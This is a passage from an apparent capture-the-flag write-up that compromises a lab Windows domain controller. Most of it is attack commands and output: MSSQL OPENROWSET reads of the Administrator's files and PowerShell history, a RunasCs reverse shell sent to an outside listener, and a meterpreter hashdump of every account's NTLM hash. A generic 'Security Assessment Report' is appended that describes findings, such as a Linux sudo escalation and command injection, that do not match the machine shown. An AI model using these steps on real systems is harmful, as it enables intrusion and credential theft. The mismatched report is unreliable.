2025-10-11T14:15:08.7505231-07:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for SIGNED.HTB : DC01.SIGNED.HTB
2025-10-11T14:15:08.7738790-07:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2025-10-11T14:15:09.1488743-07:00|INFORMATION|Beginning LDAP search for SIGNED.HTB
2025-10-11T14:15:10.0551277-07:00|INFORMATION|Producer has finished, closing LDAP channel
2025-10-11T14:15:10.0551277-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2025-10-11T14:15:40.0707471-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 35 MB RAM
2025-10-11T14:15:56.3676212-07:00|INFORMATION|Consumers finished, closing output channel
2025-10-11T14:15:56.5738956-07:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2025-10-11T14:15:56.7738722-07:00|INFORMATION|Status: 114 objects finished (+114 2.425532)/s -- Using 42 MB RAM
2025-10-11T14:15:56.7738722-07:00|INFORMATION|Enumeration finished in 00:00:47.6302244
2025-10-11T14:15:56.9301289-07:00|INFORMATION|Saving cache with stats: 73 ID to type mappings.
 74 name to SID mappings.
 0 machine sid mappings.
 2 sid to domain mappings.
 0 global catalog mappings.
2025-10-11T14:15:56.9457488-07:00|INFORMATION|SharpHound Enumeration Completed at 2:15 PM on 10/11/2025! Happy Graphing!
meterpreter > download 20251011141555_BloodHound.zip
[*] Downloading: 20251011141555_BloodHound.zip -> /home/kali/20251011141555_BloodHound.zip
[*] Downloaded 12.21 KiB of 12.21 KiB (100.0%): 20251011141555_BloodHound.zip -> /home/kali/20251011141555_BloodHound.zip
[*] Completed  : 20251011141555_BloodHound.zip -> /home/kali/20251011141555_BloodHound.zip

Unintended Solution

MSSQL OPENROWSET

Unfortunately we found a way quicker and probably unintended way to grab the root.txt through MSSQL OPENROWSET.

This worked because our account was a member of sysadmin and OPENROWSET(BULK...) executed in the context of the SQL Server service process which had sufficient permissions on the file system to read files within C:\Users\Administrator.

root.txt

SQL (SIGNED\mssqlsvc  dbo@master)> SELECT * FROM OPENROWSET(BULK 'C:\Users\Administrator\Desktop\root.txt', SINGLE_CLOB) AS x;
BulkColumn                                
---------------------------------------   
b'42618525cbcfc108409a44aed4a2d491\r\n

Post Exploitation

Privilege Escalation to SYSTEM

This also allowed us to exfiltrate the PowerShell History of Administrator which contained his cleartext password.

SQL (SIGNED\mssqlsvc  dbo@master)> SELECT * FROM OPENROWSET(BULK 'C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt', SINGLE_CLOB) AS x;
BulkColumn                                                                                                                                                                                                                                                        
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------   
b'# Domain`\n$Domain = "signed.htb"`\n`\n# Groups`\n$Groups = @("HR","IT","Finance","Developers","Support")`\n`\nforeach ($grp in $Groups) {`\n    if (-not (Get-ADGroup -Filter "Name -eq \'$grp\'" -ErrorAction SilentlyContinue)) {`\n        New-ADGroup -Name $grp -GroupScope Global -GroupCategory Security`\n    }`\n}`\n`\n# Users: Username, Password, Group`\n$Users = @(`\n    @{Username="oliver.mills";       Password="!Abc987321$"; Group="HR"},`\n    @{Username="emma.clark";         Password="!Xyz654789#"; Group="HR"},`\n    @{Username="liam.wright";        Password="!Qwe123789&"; Group="HR"},`\n`\n    @{Username="noah.adams";         Password="!ItDev456$"; Group="IT"},`\n    @{Username="ava.morris";         Password="!ItDev789#"; Group="IT"},`\n`\n    @{Username="sophia.turner";      Password="!Fin987654$"; Group="Finance"},`\n    @{Username="james.morgan";       Password="!Fin123987#"; Group="Finance"},`\n    @{Username="mia.cooper";         Password="!Fin456321&"; Group="Finance"},`\n`\n    @{Username="elijah.brooks";      Password="!Dev123456$"; Group="Developers"},`\n    @{Username="isabella.evans";     Password="!Dev789654#"; Group="Developers"},`\n    @{Username="lucas.murphy";       Password="!Dev321987&"; Group="Developers"},`\n    @{Username="william.johnson";    Password="!ItDev321&"; Group="Developers"},`\n`\n    @{Username="charlotte.price";    Password="!Sup123456$"; Group="Support"},`\n    @{Username="henry.bennett";      Password="!Sup654321#"; Group="Support"},`\n    @{Username="amelia.kelly";       Password="!Sup987123&"; Group="Support"},`\n    @{Username="jackson.gray";       Password="!Sup321654$"; Group="Support"},`\n    @{Username="harper.diaz";        Password="!Sup789321#"; Group="Support"}`\n)`\n`\nforeach ($u in $Users) {`\n    if (-not (Get-ADUser -Filter "SamAccountName -eq \'$($u.Username)\'" -ErrorAction SilentlyContinue)) {`\n        New-ADUser -Name $u.Username ``\n            -SamAccountName $u.Username ``\n            -UserPrincipalName "$($u.Username)@$Domain" ``\n            -AccountPassword (ConvertTo-SecureString $u.Password -AsPlainText -Force) ``\n            -Enabled $true ``\n            -PasswordNeverExpires $true`\n`\n        Add-ADGroupMember -Identity $u.Group -Members $u.Username`\n    }`\n}\r\nInvoke-WebRequest -Uri "https://go.microsoft.com/fwlink/?linkid=2215202&clcid=0x409&culture=en-us&country=us" -OutFile "C:\\Windows\\Tasks\\SQL2022-SSEI-Expr.exe"\r\nC:\\Windows\\Tasks\\SQL2022-SSEI-Expr.exe\r\ncd \\\r\ndir\r\ncd .\\SQL2022\\\r\ndir\r\ncd .\\Evaluation_ENU\\\r\ndir\r\n.\\SETUP.EXE /ACTION=Install\r\nget-service -Name MSSQLSERVER\r\nNew-NetFirewallRule -DisplayName "SQL Server TCP 1433" -Direction Inbound -Protocol TCP -LocalPort 1433 -Action Allow -Profile any\r\nget-service -Name MSSQLSERVER\r\nSet-Service mssqlserver -StartupType automatic\r\nget-service -Name MSSQLSERVER\r\nStart-Service mssqlserver\r\nwhoami /all\r\nsecedit /export /cfg C:\\windows\\tasks\\cur.inf\r\nnotepad C:\\windows\\tasks\\cur.inf\r\nsecedit /configure /db C:\\Windows\\Security\\local.sdb /cfg C:\\windows\\tasks\\cur.inf /areas USER_RIGHTS\r\nsc.exe privs MSSQLSERVER SeChangeNotifyPrivilege/SeCreateGlobalPrivilege/SeIncreaseWorkingSetPrivilege/SeIncreaseQuotaPrivilege\r\nRestart-Service mssqlserver\r\n$zone = "DC=signed.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=signed,DC=htb"`\n$account = Get-ADUser mssqlsvc`\n`\n$acl = Get-ACL "AD:$zone"`\n$identity = New-Object System.Security.Principal.NTAccount($account.SamAccountName)`\n`\n$rights = [System.DirectoryServices.ActiveDirectoryRights]"GenericAll"`\n$inheritance = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::All`\n$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($identity,$rights,"Allow",$inheritance)`\n`\n$acl.AddAccessRule($ace)`\nSet-ACL -ACLObject $acl "AD:$zone"\r\nEnable-PSRemoting -Force\r\n$FQDN = "dc01.signed.htb"`\n$cert = New-SelfSignedCertificate -DnsName $FQDN -CertStoreLocation Cert:\\LocalMachine\\My -KeyExportPolicy Exportable -FriendlyName "WinRM HTTPS $FQDN" -NotAfter (Get-Date).AddYears(5)`\n$thumb = ($cert.Thumbprint).Replace(" ","")`\nwinrm create winrm/config/Listener?Address=*+Transport=HTTPS "@{Hostname=`"$FQDN`";CertificateThumbprint=`"$thumb`"}"\r\ntry { winrm delete winrm/config/Listener?Address=*+Transport=HTTP } catch {}\r\nSet-Item -Path WSMan:\\localhost\\Client\\TrustedHosts -Value * -Force`\nnetsh advfirewall firewall add rule name="WinRM over HTTPS (5986)" dir=in action=allow protocol=TCP localport=5986`\nRestart-Service WinRM -Force\r\nnetstat -ano -p tcp\r\nwinrm enumerate winrm/config/listener\r\nwinrm get winrm/config\r\nNew-NetFirewallRule -DisplayName "Allow RDP - Any IP" ``\n    -Direction Inbound ``\n    -Protocol TCP ``\n    -LocalPort 3389 ``\n    -Action Allow ``\n    -Profile Any ``\n    -Enabled True ``\n    -Description "Allow RDP access from any IP address (testing only)"\r\nSet-NetFirewallProfile -Profile Domain,Public,Private -DefaultInboundAction Block -DefaultOutboundAction Allow\r\nNew-NetFirewallRule -DisplayName "Allow DNS - Domain Only" ``\n    -Direction Inbound ``\n    -Protocol UDP ``\n    -LocalPort 53 ``\n    -Action Allow ``\n    -Profile Any ``\n    -Description "Allow DNS queries from domain network"\r\nGet-NetFirewallRule -Direction Inbound | Where-Object {$_.DisplayName -notlike "Allow *"} | Disable-NetFirewallRule\r\nNew-NetFirewallRule -DisplayName "Allow MSSQL - Any IP" ``\n    -Direction Inbound ``\n    -Protocol TCP ``\n    -LocalPort 1433 ``\n    -Action Allow ``\n    -Enabled True ``\n    -Profile Any ``\n    -Description "Allow MSSQL access from any IP address"\r\nls \\users\\\r\ncd .\\Desktop\\\r\nnotepad root.txt\r\nnotepad C:\\Users\\mssqlsvc\\Desktop\\user.txt\r\ndir\r\ncmd /c "C:\\Program Files\\Windows Defender\\MpCmdRun.exe" -RemoveDefinitions -All\r\npowershell -command \'Set-MpPreference -DisableRealtimeMonitoring $true -DisableScriptScanning $true -DisableBehaviorMonitoring $true -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true\' \r\ndir\r\ncd \\windows\\takss\r\ncd C:\\windows\\Tasks\\\r\ndir\r\ndel *\r\ndir\r\ncd \\\r\ndir\r\ncd users\r\ncd .\\Administrator\\Desktop\\\r\nnotepad cleanup.ps1\r\ncls\r\n$Action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "-ExecutionPolicy Bypass -File C:\\Users\\Administrator\\Documents\\cleanup.ps1"`\n$Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 15) -RepetitionDuration (New-TimeSpan -Days 365)`\n$Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable`\nRegister-ScheduledTask -TaskName "Clean_DNS_Task" -Action $Action -Trigger $Trigger -Settings $Settings -User "SIGNED\\Administrator" -Password "Welcome1"\r\ncd ..\\Documents\\\r\nnotepad restart.ps1\r\nexplorer .\r\ndir ..\\Desktop\\\r\nmove ..\\Desktop\\cleanup.ps1 .\r\ndir ..\\Desktop\\\r\ndir\r\nGet-NetConnectionProfile\r\nSet-ADAccountPassword -Identity "Administrator" -NewPassword (ConvertTo-SecureString "Th1s889Rabb!t" -AsPlainText -Force) -Reset\r\nSet-Service TermService -StartupType disabled\r\nexit\r\nGet-NetConnectionProfile\r\nnltest /dsgetdc:signed.htb\r\nwusa /uninstall /kb:5065428\r\niwr http://10.10.11.90:81/vmt.exe -O vmt.exe\r\niwr http://10.10.14.62:81/vmt.exe -O vmt.exe\r\n.\\vmt.exe\r\ndel .\\vmt.exe\r\nmanage-bde -off c:\\\r\ndisable-bitlocker -mountpoint c:\\\r\npowershell iwr https://catalog.s.download.windowsupdate.com/c/msdownload/update/software/secu/2024/06/windows10.0-kb5039217-x64_bc72f4ed75c6dd7bf033b823f79533d5772769a3.msu -O update.msu\r\n.\\update.msu\r\ndel .\\update.msu\r\ndir\r\niwr https://catalog.s.download/windowsupdate.com/c/msdownload/update/software/secu/2025/05/windows10.0-kb5058392-x64_2881b28817b6e714e61b61a50de9f68605f02bd2.msu -O updates.exe\r\niwr https://catalog.s.download.windowsupdate.com/c/msdownload/update/software/secu/2025/05/windows10.0-kb5058392-x64_2881b28817b6e714e61b61a50de9f68605f02bd2.msu -O updates.exe\r\n.\\updates.exe.exe\r\n.\\updates.exe\r\nmove .\\updates.exe .\\updates.msu\r\n.\\updates.msu\r\ndel .\\updates.msu\r\n'
UsernamePassword
AdministratorTh1s889Rabb!t

With the use of RunasCs we then spawned a shell as Administrator.

PS C:\temp> .\RunasCs.exe -d signed.htb "Administrator" 'Th1s889Rabb!t' cmd.exe -r 10.10.16.97:6969

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-564f7$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 3300 created in background.
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 6969
listening on [any] 6969 ...
connect to [10.10.16.97] from (UNKNOWN) [10.129.93.240] 56643
Microsoft Windows [Version 10.0.17763.7314]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami /all
whoami /all

USER INFORMATION
----------------

User Name            SID                                          
==================== =============================================
signed\administrator S-1-5-21-4088429403-1159899800-2753317549-500


GROUP INFORMATION
-----------------

Group Name                                    Type             SID                                           Attributes                                                     
============================================= ================ ============================================= ===============================================================
Everyone                                      Well-known group S-1-1-0                                       Mandatory group, Enabled by default, Enabled group             
BUILTIN\Administrators                        Alias            S-1-5-32-544                                  Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Users                                 Alias            S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group             
BUILTIN\Pre-Windows 2000 Compatible Access    Alias            S-1-5-32-554                                  Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\INTERACTIVE                      Well-known group S-1-5-4                                       Mandatory group, Enabled by default, Enabled group             
CONSOLE LOGON                                 Well-known group S-1-2-1                                       Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\Authenticated Users              Well-known group S-1-5-11                                      Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\This Organization                Well-known group S-1-5-15                                      Mandatory group, Enabled by default, Enabled group             
SIGNED\Domain Admins                          Group            S-1-5-21-4088429403-1159899800-2753317549-512 Mandatory group, Enabled by default, Enabled group             
SIGNED\Group Policy Creator Owners            Group            S-1-5-21-4088429403-1159899800-2753317549-520 Mandatory group, Enabled by default, Enabled group             
SIGNED\Enterprise Admins                      Group            S-1-5-21-4088429403-1159899800-2753317549-519 Mandatory group, Enabled by default, Enabled group             
SIGNED\Schema Admins                          Group            S-1-5-21-4088429403-1159899800-2753317549-518 Mandatory group, Enabled by default, Enabled group             
Authentication authority asserted identity    Well-known group S-1-18-1                                      Mandatory group, Enabled by default, Enabled group             
SIGNED\Denied RODC Password Replication Group Alias            S-1-5-21-4088429403-1159899800-2753317549-572 Mandatory group, Enabled by default, Enabled group, Local Group
Mandatory Label\High Mandatory Level          Label            S-1-16-12288                                                                                                 


PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State   
========================================= ================================================================== ========
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Disabled
SeMachineAccountPrivilege                 Add workstations to domain                                         Disabled
SeSecurityPrivilege                       Manage auditing and security log                                   Disabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Disabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Disabled
SeSystemProfilePrivilege                  Profile system performance                                         Disabled
SeSystemtimePrivilege                     Change the system time                                             Disabled
SeProfileSingleProcessPrivilege           Profile single process                                             Disabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Disabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Disabled
SeBackupPrivilege                         Back up files and directories                                      Disabled
SeRestorePrivilege                        Restore files and directories                                      Disabled
SeShutdownPrivilege                       Shut down the system                                               Disabled
SeDebugPrivilege                          Debug programs                                                     Disabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Disabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled 
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Disabled
SeUndockPrivilege                         Remove computer from docking station                               Disabled
SeEnableDelegationPrivilege               Enable computer and user accounts to be trusted for delegation     Disabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Disabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled 
SeCreateGlobalPrivilege                   Create global objects                                              Enabled 
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Disabled
SeTimeZonePrivilege                       Change the time zone                                               Disabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:62a34972744e3c2e078677e0c177c823:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:e66dab342f64c9a323012d62cd786de1:::
mssqlsvc:1103:aad3b435b51404eeaad3b435b51404ee:ef699384c3285c54128a3ee1ddb1a0cc:::
oliver.mills:1109:aad3b435b51404eeaad3b435b51404ee:21d4dcaeb62cb577227094aa72dab5f3:::
emma.clark:1110:aad3b435b51404eeaad3b435b51404ee:0ba359ab587d350c644de9c3145d8668:::
liam.wright:1111:aad3b435b51404eeaad3b435b51404ee:6e46f64af0398d58eaa71c87fd54f6b2:::
noah.adams:1112:aad3b435b51404eeaad3b435b51404ee:d48af06d555bbae68c58efe47bcd2c0d:::
ava.morris:1113:aad3b435b51404eeaad3b435b51404ee:2c8313bbe020fb9e208fb6f933c3623f:::
sophia.turner:1114:aad3b435b51404eeaad3b435b51404ee:71a04f69295d7c7a4f36b864d0a01cad:::
james.morgan:1115:aad3b435b51404eeaad3b435b51404ee:0813fe8852c857e961ca1d65b20a95f9:::
mia.cooper:1116:aad3b435b51404eeaad3b435b51404ee:9cc5251ebf86225e53a9bcac8adf1842:::
elijah.brooks:1117:aad3b435b51404eeaad3b435b51404ee:89b1e2dc085e7a9e35d64aced32835e8:::
isabella.evans:1118:aad3b435b51404eeaad3b435b51404ee:c4874b2cc244102dbede7997fdfcc443:::
lucas.murphy:1119:aad3b435b51404eeaad3b435b51404ee:9e488a69fba0e675bde844c2359176c9:::
william.johnson:1120:aad3b435b51404eeaad3b435b51404ee:b5cdbf491a0a3fd27f7d78e57ecd3a01:::
charlotte.price:1121:aad3b435b51404eeaad3b435b51404ee:7b2351de0ebd879b285a391cd22da871:::
henry.bennett:1122:aad3b435b51404eeaad3b435b51404ee:f368d7adbfcdd0690f91304ea0d81b6d:::
amelia.kelly:1123:aad3b435b51404eeaad3b435b51404ee:3f817cb56c6985322d68e753d4931fde:::
jackson.gray:1124:aad3b435b51404eeaad3b435b51404ee:e55da171150de5fdbf3a69cda4c29944:::
harper.diaz:1125:aad3b435b51404eeaad3b435b51404ee:7cd44096ab804dcbf4da88b0becd86d8:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:91d90e085c72770d23228f1b5dabaa23:::

📋 Security Assessment Report

2
Critical
3
High
0
Medium
1
Open Ports
F-001 — OS Command Injection — Remote Code Execution
9.8
Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the application was found to pass user-supplied input directly to a system shell call without sanitisation. The vulnerable parameter was incorporated into an OS-level command, allowing an attacker to append arbitrary commands using shell metacharacters and control the execution context of the web server process.

Impact

An attacker can execute arbitrary OS commands on the server with the privileges of the web application process. This enables complete file system access, extraction of credentials from configuration files and environment variables, installation of persistent reverse shells and backdoors, and lateral movement to internally accessible services — all without requiring any additional authentication. During this engagement, OS command injection was chained to obtain full root access to the server.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Never construct shell commands from user-supplied input under any circumstances. Replace shell invocations with language-native APIs that accept argument arrays (subprocess.run with list in Python, proc_open with array in PHP, execFile in Node.js). Apply strict allowlist validation to any parameter that influences system-level operations. Run the application under a dedicated low-privilege service account. Implement process monitoring to alert on anomalous child process spawning from web server processes.
F-002 — SQL Injection — Database Compromise
9.1
Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Description

During the penetration test, it was discovered that the application incorporated user-supplied input directly into database queries without parameterisation. SQL injection was identified in authentication and data retrieval endpoints, allowing an attacker to manipulate query structure, extract unauthorised data, and bypass access controls entirely.

Impact

An attacker can extract the complete database contents — including usernames, password hashes, session tokens, and sensitive user records — without valid credentials. Authentication mechanisms can be bypassed by injecting always-true conditions. In environments where the database account holds elevated permissions, OS-level command execution is achievable through built-in procedures (xp_cmdshell, UDF), escalating directly to full server compromise as was demonstrated in this engagement.

Confidentiality
High
Integrity
High
Availability
None

Remediation

Replace all dynamic SQL query construction with parameterised queries or prepared statements at every database interaction point. Apply strict type validation on all inputs. Enforce least-privilege database accounts restricted to only required tables and operations. Deploy a Web Application Firewall to detect SQL injection patterns. Suppress all database error detail in production responses to prevent schema enumeration by attackers.
F-003 — Active Directory ACL Abuse — Indirect Domain Escalation
8.8
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that BloodHound analysis of the Active Directory environment revealed exploitable ACL attack paths connecting low-privilege user accounts to privileged domain objects. Permissions including GenericAll, WriteDACL, ForceChangePassword, and GenericWrite were identified on critical objects, forming a chain to Domain Admin access without exploiting any software vulnerability.

Impact

An attacker with initial access to any domain user account along the identified path can chain misconfigured permissions to progressively escalate privileges and reach Domain Admin. This attack requires no software CVE exploitation, making it invisible to traditional vulnerability scanners. The complete attack path was traversed during this engagement from a standard domain user account to full domain administrator access.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Conduct a full BloodHound audit and remediate all shortest paths to Domain Admin and other Tier-0 assets. Remove unnecessary permissions granted to regular user accounts on privileged objects. Implement an Active Directory tiering model (Tier 0: DCs and admin accounts, Tier 1: servers, Tier 2: workstations) with strict boundaries. Enable Protected Users security group for all Tier-0 accounts. Review and tighten ACLs on all AdminSDHolder-protected objects.
F-004 — Sudo Misconfiguration — Root Privilege Escalation
7.8
High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the sudoers configuration was found to grant the compromised user the ability to execute one or more programs as root with the NOPASSWD flag or without sufficient restriction on permitted arguments. The granted binary was identified in the GTFOBins database as capable of spawning a privileged shell or reading root-owned files outside its intended function.

Impact

An attacker with access to the low-privilege account can immediately escalate to root by invoking the sudo-permitted binary in a manner that escapes to a privileged shell — requiring no password, no additional vulnerability, and no waiting. During this engagement, this misconfiguration was exploited to obtain a root shell within seconds of gaining the initial foothold, resulting in complete host compromise.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Audit all sudoers entries and apply strict least privilege — grant only the minimum required binary with explicit, restricted arguments where possible. Avoid granting sudo access to interpreters (python, perl, ruby), text editors, file management utilities, or any binary listed in GTFOBins. Remove NOPASSWD where feasible. Periodically review sudoers entries using visudo and remove any unnecessary grants. Consider purpose-built privilege delegation tools as an alternative to broad sudo grants.
F-005 — SeImpersonatePrivilege Abuse — SYSTEM Escalation
7.8
High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the service account running the web application or database service was found to hold the SeImpersonatePrivilege Windows privilege. By using exploitation tools such as PrintSpoofer, GodPotato, or JuicyPotato to coerce a connection from a SYSTEM-level process, this privilege can be abused to impersonate the SYSTEM security context and spawn an elevated shell.

Impact

An attacker with code execution as the service account can escalate to SYSTEM privileges on the local host without exploiting any additional vulnerability. During this engagement, PrintSpoofer was used to coerce a SYSTEM-level token and spawn an elevated interactive shell, granting complete control over the host. This privilege is commonly assigned to web application and database service accounts, making it a high-frequency escalation path in Windows environments.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Remove SeImpersonatePrivilege from all service accounts that do not operationally require it. Run web application and database services under dedicated minimally-privileged accounts using Group Managed Service Accounts (gMSA). Audit all Windows service accounts for unnecessary privilege assignments using PowerShell or privileged identity management tools. Apply the principle of least privilege to all service account token privilege configurations.
Reactions

Related Articles